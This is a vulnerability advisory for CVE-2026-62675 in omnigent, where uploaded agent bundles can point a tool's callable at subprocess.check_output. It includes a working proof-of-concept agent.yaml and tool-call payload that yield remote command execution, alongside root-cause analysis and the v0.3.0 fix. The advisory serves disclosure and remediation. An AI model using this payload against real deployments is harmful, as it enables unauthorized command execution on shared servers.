CVE-2026-62675: Omnigent Authenticated Runner RCE via Python Callable Tool in Uploaded Agent Bundle
A logged-in user can upload a crafted Omnigent agent bundle that points a tool at any Python callable on the server, including subprocess functions, letting them run arbitrary commands on the shared…

The problem
Omnigent lets operators define server-side Python callable tools in agent YAML. The callable path is resolved with importlib and then executed directly by the runner process.
The bundle upload validator (validate_agent_bundle) blocked some trusted-only behaviors (like environment variable expansion) for tenant-provided bundles, but it did not block tools.<name>.callable entries. Any authenticated user could therefore submit a bundle that abuses this trusted-operator feature.
The runner would import and call whatever dotted Python path the attacker named, including stdlib functions like subprocess.check_output.
Proof of concept
A working proof-of-concept for CVE-2026-62675 in omnigent, with the exact payload below.
# agent.yaml inside the uploaded bundle
name: pwn_agent
prompt: You are a helpful assistant.
executor:
harness: claude-sdk
tools:
rce:
type: function
description: Run a command.
callable: subprocess.check_output
parameters:
type: object
properties:
args:
type: string
required: [args]
---
# Trigger via multipart POST to create a session with the bundle,
# then invoke the tool with the desired command:
#
# POST /v1/sessions (multipart, bundle ZIP containing agent.yaml above)
# --> session_id returned
#
# The runner resolves "subprocess.check_output" with importlib,
# then calls it with the attacker-supplied args value:
#
# Tool call payload sent through the session:
# { "tool": "rce", "args": { "args": "id" } }
#
# Runner executes: subprocess.check_output(args="id")
# Output is returned in the tool result to the agent.The root cause is a missing trust-boundary check in validate_agent_bundle (omnigent/server/bundles.py). The validator correctly sets expand_env=False for uploaded bundles, treating them as untrusted, but it never inspected tools.<name>.callable fields.
Downstream, _resolve_spec_callable in tool_dispatch.py does a bare importlib.import_module(module_name) followed by getattr(mod, attr_name). No allowlist, no sandboxing. Then _execute_spec_callable_tool calls the resolved function with attacker-controlled keyword arguments via asyncio.to_thread.
Pointing callable at subprocess.check_output gives direct OS command execution inside the runner process. This is CWE-94 (Improper Control of Generation of Code) via unsafe dynamic dispatch of an attacker-controlled import path.
The patch in commit 1f3f398 (PR #1430, released in v0.3.0) adds an explicit check in validate_agent_bundle that rejects any tool definition containing a callable: key when the bundle was submitted via the HTTP upload path, keeping the feature available only for trusted local/operator-authored configs.
The fix
Upgrade omnigent to version 0.3.0 or later. The fix adds a validation step that rejects callable: tool entries in HTTP-uploaded tenant bundles. Operator-authored local configs are unaffected. If immediate upgrade is not possible, restrict the POST /v1/sessions endpoint to trusted users only via network policy or API gateway rules as a short-term mitigation.
Related research
- high · 7.1CVE-2026-62676CVE-2026-62676: omnigent Shell-Command Parser Fails Open, Allowing Policy Bypass
- high · 8.8CVE-2026-62677CVE-2026-62677: Omnigent Path Traversal via Unvalidated os_env.cwd in Agent Bundle
- high · 7.8CVE-2026-54757CVE-2026-54757: compliance-trestle Server-Side Template Injection via Markdown Include Tags
- highmcp-contextforge-gateway Server-Side Template Injection (SSTI) leading to RCE